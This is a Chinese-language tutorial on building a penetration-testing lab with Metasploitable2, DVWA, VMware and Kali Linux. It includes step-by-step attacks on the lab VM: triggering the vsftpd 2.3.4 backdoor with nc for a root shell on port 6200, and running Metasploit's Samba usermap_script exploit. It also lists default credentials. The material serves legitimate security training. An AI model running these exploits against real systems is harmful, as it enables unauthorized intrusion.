1. 项目概述与核心价值
如果你刚接触网络安全,或者想找一个能让你“合法开火”的实战环境,Metasploitable2绝对是你绕不开的经典。它不是一个需要你小心翼翼配置的普通虚拟机,而是一个被故意“搞坏”的、预置了数十个已知漏洞的Linux系统。你可以把它理解为一个网络安全领域的“沙袋”,专门用来练习渗透测试的各种拳法,从信息搜集、漏洞扫描到漏洞利用和权限提升,一整套流程都能在上面跑通。而DVWA(Damn Vulnerable Web Application)则是它内部一个同样经典的Web漏洞靶场,专门用来练习SQL注入、XSS、文件上传等Web安全技能。
我之所以推荐从它开始,是因为它解决了新手最大的痛点:去哪里找一个安全的、合法的、且漏洞丰富的目标来练手?自己搭建环境太耗时,直接拿互联网上的真实系统测试又违法。Metasploitable2的出现,完美地填补了这个空白。它把所有漏洞都打包好,放在一个封闭的虚拟环境里,你只需要一台电脑和VMware/VirtualBox这类虚拟机软件,就能立刻拥有一个完整的攻防实验室。本次指南,我将带你从零开始,完成Metasploitable2的下载、虚拟机配置、网络设置,并重点演示如何利用Kali Linux对其发起一次基础的渗透测试,最后还会详细讲解内置DVWA的配置与初步使用。整个过程,我会穿插我踩过的坑和总结出的技巧,确保你能一次成功,并理解每一步背后的逻辑。
2. 环境准备与虚拟机部署
2.1 虚拟化平台选择与准备
工欲善其事,必先利其器。选择一个稳定可靠的虚拟化平台是第一步。主流选择有两个:VMware Workstation Pro(或免费的VMware Player)和Oracle VirtualBox。从我多年的使用经验来看,VMware在性能和网络模拟的稳定性上通常更胜一筹,特别是涉及到复杂的NAT、主机模式网络配置时,VMware出问题的概率更低。VirtualBox的优势在于完全免费且开源,对于预算有限的个人学习者是不错的选择。本次演示我将以VMware Workstation 17 Pro为例,但核心步骤在VirtualBox上也是相通的。
在安装VMware之前,请务必确认你的主机(你的物理电脑)已经开启了CPU的虚拟化支持。这个功能通常在BIOS/UEFI设置中,名为“Intel Virtualization Technology (VT-x)”或“AMD-V”。如果没有开启,虚拟机性能会极差甚至无法启动64位系统。开启方法因电脑品牌而异,一般在开机时按F2、F10或Del键进入BIOS进行设置。
注意:网上流传的所谓“VMware虚拟机许可证密钥”或“免费版”通常指VMware Workstation Player,它是Workstation Pro的功能简化版,但对于运行Metasploitable2和Kali来说完全够用。请从VMware官网下载正版,避免使用来路不明的破解版,以防捆绑恶意软件。
2.2 Metasploitable2镜像下载与验证
Metasploitable2的官方镜像可以从Vulnhub等知名安全社区获取。这里有一个关键点:务必从可信源下载,并验证文件完整性。因为这是一个充满漏洞的系统,如果镜像被第三方篡改,植入后门,那你的练习环境本身就变得不安全了。
- 下载:访问Vulnhub的Metasploitable2页面,下载其OVA(Open Virtualization Appliance)格式的文件。OVA是一种开放的虚拟机打包格式,VMware和VirtualBox都能直接导入,比处理单独的vmdk磁盘文件方便得多。文件大小大约在800MB左右。
- 验证(强烈建议):下载完成后,核对文件的MD5或SHA256哈希值是否与官方页面提供的一致。在Windows上,你可以使用命令行工具
certutil -hashfile Metasploitable2.ova MD5来计算。这一步能确保你下载的文件在传输过程中没有损坏,且未被篡改。
2.3 虚拟机导入与基础配置
拿到OVA文件后,部署就非常简单了。
- 导入虚拟机:打开VMware Workstation,点击“文件”->“打开”,选择你下载的
.ova文件。VMware会弹出一个导入向导,显示虚拟机的名称和存储路径。这里我建议你修改一下存储位置,不要放在默认的C盘,以免占用系统盘空间。虚拟机的名称可以保持默认“Metasploitable2”。 - 关键配置调整:导入完成后,先不要急着启动。右键点击新导入的虚拟机,选择“设置”。
- 内存:Metasploitable2基于Ubuntu 8.04,非常轻量,分配512MB内存绰绰有余,甚至256MB也能跑。我通常给1GB,让系统更流畅。
- 处理器:分配1个CPU核心即可。
- 网络适配器:这是最重要的一步!选择“NAT模式”。为什么是NAT?NAT模式下,虚拟机会共享主机的IP地址上网,并且虚拟机之间(比如你的Kali和Metasploitable2)可以互相通信,但外部网络无法直接访问虚拟机。这为我们创造了一个封闭、安全的实验环境。相比之下,“桥接模式”会让虚拟机像一台真实设备一样接入你的局域网,存在被同一局域网内其他设备扫描甚至攻击的微小风险,虽然概率低,但作为安全从业者,养成隔离实验环境的习惯很重要。
- 启动与登录:配置完成后,启动虚拟机。你会看到经典的Linux登录界面。Metasploitable2的默认登录凭证是:
- 用户名:
msfadmin - 密码:
msfadmin成功登录后,你可以用ifconfig命令查看虚拟机获取到的IP地址(通常是192.168.xxx.xxx网段),记下它,比如192.168.111.128,后续渗透测试会用到。
- 用户名:
3. 网络拓扑设计与Kali Linux联动
3.1 构建封闭的攻防实验网络
一个完整的渗透测试环境至少需要两个角色:攻击机(Attacker)和靶机(Target)。我们刚刚搭建好的Metasploitable2就是靶机。现在需要攻击机,而Kali Linux无疑是首选。它预装了数百种安全工具,是渗透测试的“瑞士军刀”。
- 安装Kali Linux虚拟机:同样,你可以从Kali官网下载OVA或ISO镜像,在VMware中新建虚拟机进行安装。安装过程与普通Linux类似,建议分配至少2GB内存和20GB磁盘空间。安装时,网络也务必设置为“NAT模式”。
- 验证网络连通性:启动Kali Linux和Metasploitable2。在Kali中打开终端,使用
ping命令测试是否能通靶机的IP地址。
如果收到回复,恭喜你,一个最基础的“攻击机-靶机”单向网络已经打通。如果ping不通,请检查:ping -c 4 192.168.111.128- 两台虚拟机是否都在运行。
- 两台虚拟机的网络适配器是否都设置为“NAT模式”(确保它们在同一个VMware虚拟网络里)。
- 尝试关闭两台虚拟机的防火墙(对于实验环境可以这么做)。在Metasploitable2上,可以尝试
sudo ufw disable(如果安装了ufw)。
这个简单的NAT网络拓扑,确保了你的攻击行为被限制在主机内部的虚拟网络中,不会影响到你的真实家庭或公司网络,完全合法且安全。
3.2 常见网络问题排查实录
即便按照步骤操作,有时也会遇到网络问题。这里记录几个我反复遇到的坑及其解决方案:
问题一:Kali能ping通主机,但ping不通Metasploitable2,反之亦然。
- 排查思路:这通常是VMware虚拟网络配置问题。在VMware菜单栏,点击“编辑”->“虚拟网络编辑器”。
- 解决方案:确保你使用的NAT模式对应的虚拟网络(通常是VMnet8)是“已连接”状态。更彻底的方法是,将两台虚拟机的网络适配器先都移除,然后重新添加,并确保连接到同一个网络(如VMnet8)。有时候VMware的虚拟网络服务可能异常,重启VMware的相关服务或主机电脑也能解决。
问题二:虚拟机启动后提示“虚拟机监控程序功能对该用户不可用”或“VMware Workstation 无法连接到虚拟机”。
- 排查思路:这通常与主机系统的Hyper-V、Windows沙盒、Windows Defender Credential Guard等基于虚拟化的安全功能冲突。
- 解决方案:
- 以管理员身份打开Windows PowerShell或命令提示符。
- 运行命令禁用Hyper-V:
bcdedit /set hypervisorlaunchtype off - 运行命令禁用Windows沙盒和Credential Guard(如果启用):
bcdedit /set vm-launchtype off - 重启主机。这是必须的步骤。
- 重启后,再尝试打开VMware和虚拟机。
问题三:虚拟机运行极其卡顿。
- 排查思路:除了检查主机资源是否充足(内存、CPU),一个常见原因是虚拟机磁盘文件碎片化或运行在机械硬盘上。
- 解决方案:如果可能,将虚拟机文件存放在SSD硬盘上。在VMware设置中,为虚拟机分配更多内存。关闭虚拟机不必要的视觉效果(对于Metasploitable2,可以关闭图形界面,直接用终端操作)。
4. 信息搜集与漏洞扫描实战
环境就绪,真正的渗透测试从信息搜集开始。记住,一次成功的渗透,70%的功劳在于细致的信息搜集。盲目攻击就像蒙着眼睛扔飞镖。
4.1 基础信息搜集:端口与服务发现
我们首先需要知道靶机上开放了哪些门(端口),门后运行着什么服务(服务及版本)。
在Kali Linux中,我们使用神器Nmap。
nmap -sV -sC -O -p- 192.168.111.128-sV: 探测服务版本。知道服务及其具体版本号,是寻找对应漏洞的关键。-sC: 使用默认的Nmap脚本进行更深入的探测,可能会发现一些默认配置漏洞。-O: 尝试识别靶机的操作系统。-p-: 扫描所有65535个端口。Metasploitable2开了很多非常用端口的服务,这个参数很重要。
扫描完成后,你会看到一长串结果。Metasploitable2会开放大量端口,例如:
21/tcp: FTP服务 (vsftpd 2.3.4) —注意这个版本!22/tcp: SSH服务 (OpenSSH 4.7p1)23/tcp: Telnet服务80/tcp: HTTP服务 (Apache 2.2.8) — 这就是运行DVWA和其他Web应用的端口。443/tcp: HTTPS服务445/tcp: SMB服务 (Samba 3.x) — Windows文件共享协议在Linux上的实现。3306/tcp: MySQL数据库5432/tcp: PostgreSQL数据库6667/tcp: IRC服务 (UnrealIRCd) — 又一个有历史漏洞的服务。
这个列表本身就是一份“漏洞菜单”。每一个老旧的服务版本,都可能对应着一个或多个已知的公开漏洞。
4.2 漏洞扫描与初步分析
有了具体的服务版本信息,我们就可以进行针对性的漏洞扫描。这里可以手动搜索,也可以使用自动化工具。我推荐结合使用:
- 手动搜索(培养感觉):拿着“vsftpd 2.3.4”去搜索引擎或漏洞库(如Exploit-DB, CVE Details)搜索。你会立刻发现,vsftpd 2.3.4存在一个著名的后门漏洞(CVE-2011-2523)。攻击者可以通过特定方式触发一个后门,直接获取root权限。这就是信息搜集的价值。
- 自动化扫描(提高效率):在Kali中,我们可以使用
nmap的漏洞脚本引擎(NSE)或者专门的漏洞扫描器如nikto(针对Web)和nessus(商业,功能强大)。例如,针对Web服务:
这个命令会快速扫描靶机80端口上的Web应用,列出发现的潜在问题,如过时的服务器软件、可列出的目录、默认文件等。nikto -h http://192.168.111.128
实操心得:不要完全依赖自动化工具。自动化工具会产生大量结果,其中包含许多误报(False Positive)或低风险项目。一个有经验的分析师,会从Nmap的
-sV结果中,快速定位那些版本号非常老旧、在安全社区广为人知存在漏洞的服务,作为优先攻击目标。比如上面的vsftpd 2.3.4、OpenSSH 4.7p1、Apache 2.2.8,都是十多年前的版本,漏洞百出。
5. 漏洞利用与权限提升演示
我们选择两个最具代表性的漏洞进行实战演示:一个是前面提到的vsftpd后门漏洞,另一个是Samba的远程命令执行漏洞。这两个漏洞利用起来相对简单,能直观展示从漏洞发现到获取系统权限的全过程。
5.1 利用vsftpd 2.3.4后门获取Shell
- 连接FTP服务:在Kali终端,使用
telnet或nc(netcat)连接靶机的21端口。nc -nv 192.168.111.128 21 - 触发后门:在FTP服务提示输入用户名时,输入一个精心构造的包含“:)”字符的字符串。这个“:)”就是触发后门的“魔法”。
注意,这里不是输入密码,而是在用户名后面加上220 (vsFTPd 2.3.4) USER msfadmin:):)。如果后门存在,服务会卡住或返回一个特殊的响应。 - 连接后门端口:该后门会在6200端口打开一个监听shell。我们另开一个Kali终端,连接这个端口。
nc -nv 192.168.111.128 6200 - 获取权限:成功连接后,你会直接获得一个具有root权限的shell!可以执行
id或whoami命令确认。
至此,你已经完全控制了这台靶机。这个过程展示了“漏洞利用”的威力:一个简单的、已知的漏洞,可以瞬间绕过所有认证,拿到最高权限。id # 输出:uid=0(root) gid=0(root)
5.2 利用Samba “username map script”漏洞
Metasploitable2上的Samba服务(端口445)配置存在一个严重错误,允许远程用户通过用户名映射脚本执行任意命令。
- 使用Metasploit框架:Kali内置了Metasploit,这是最强大的渗透测试框架。我们打开它:
msfconsole - 搜索并利用漏洞模块:在msf提示符下:
search samba 3.x # 会列出多个相关模块,我们选择其中一个经典的exploit use exploit/multi/samba/usermap_script set RHOSTS 192.168.111.128 exploit - 获取Shell:如果目标存在该漏洞,Metasploit会自动完成利用过程,并为你返回一个Meterpreter会话。Meterpreter是一个功能强大的后渗透工具,比普通的shell更好用。在这个会话里,你可以执行各种命令,如
sysinfo查看系统信息,shell进入一个标准shell。
注意事项:在实际渗透测试中,获取一个初始shell(可能是普通用户权限)往往只是开始。我们需要进行“权限提升”(Privilege Escalation),将权限从普通用户提升到root。在Metasploitable2上,由于我们刚才利用vsftpd漏洞直接拿到了root,这一步跳过了。但在真实场景或其他靶机(如Vulnhub上的DC系列)中,提权是必经之路,涉及内核漏洞利用、SUID文件滥用、环境变量劫持等多种技术。
6. DVWA靶场配置与初步使用
Metasploitable2已经预装了DVWA,但首次访问需要一些简单配置。
- 访问DVWA:在Kali的浏览器中,输入
http://192.168.111.128/dvwa/。你会看到一个报错页面,提示PHP function allow_url_include is disabled。 - 修改PHP配置:我们需要登录Metasploitable2(用之前得到的root shell),修改PHP配置文件。
找到# 在Metasploitable2的shell中 nano /etc/php5/cgi/php.iniallow_url_include这一行,将其值从Off改为On。 同样,找到allow_url_fopen,也确保是On。 保存并退出(Ctrl+X,然后按Y确认)。 - 重启Web服务:为了让配置生效,重启Apache。
sudo /etc/init.d/apache2 restart踩坑记录:Metasploitable2上的Apache可能用了不同的管理脚本,如果上述命令无效,可以尝试
sudo service apache2 restart。 - 登录DVWA:刷新Kali中的DVWA页面。现在你应该能看到登录界面。默认凭证是:
- 用户名:
admin - 密码:
password
- 用户名:
- 初始化数据库:首次登录后,页面会提示你“Setup / Reset Database”。点击这个按钮,DVWA会为自己创建所需的数据库和表。完成后,页面自动跳转到主界面。
- 设置安全等级:在DVWA左侧菜单,点击“DVWA Security”。你可以在这里设置安全级别,从“Low”、“Medium”、“High”到“Impossible”。建议从“Low”开始,这样所有漏洞都是完全暴露的,方便你理解漏洞原理。随着技能提升,再挑战更高级别,看看防护机制如何生效。
现在,你就可以在“SQL Injection”、“Command Injection”、“File Upload”、“XSS”等模块进行练习了。每个模块都提供了前端的漏洞输入点和后端的源代码,非常适合对比学习攻击载荷和防御代码。
7. 渗透测试后的清理与反思
一次完整的渗透测试练习,不仅包括攻击,还包括清理痕迹和总结。虽然Metasploitable2是靶机,但养成好习惯很重要。
- 清理痕迹:如果你通过漏洞添加了用户、上传了文件或修改了系统日志,练习结束后应该将其还原。对于Metasploitable2,最简单彻底的方法是恢复虚拟机快照。在攻击前,为虚拟机创建一个干净状态的快照,练习完成后一键还原即可。
- 总结报告:模拟真实工作,整理你的发现。可以包括:
- 目标信息(IP, 开放端口, 服务版本)
- 发现的漏洞列表(vsftpd后门、Samba配置漏洞等),每个漏洞附上风险等级(高、中、低)和简要描述。
- 漏洞利用步骤简述。
- 获取的权限级别(如root shell)。
- 建议的修复措施(如升级vsftpd、修改Samba配置)。
- 拓展学习:Metasploitable2的漏洞远不止我们演示的这些。你可以尝试:
- 利用UnrealIRCd的漏洞。
- 对MySQL或PostgreSQL进行弱口令爆破。
- 尝试对DVWA的“Impossible”级别进行挑战,理解真正的安全代码如何编写。
- 使用更多工具,如
hydra进行密码爆破,sqlmap自动化进行SQL注入测试等。
最后,记住核心原则:所有技术都只在你自己拥有或获得明确授权的环境中使用。Metasploitable2这样的靶机,为你提供了绝佳的、合法的练兵场。通过反复搭建、攻击、分析、总结,你将深刻理解攻击者的思路和防御者的关键点,这才是学习渗透测试最扎实的路径。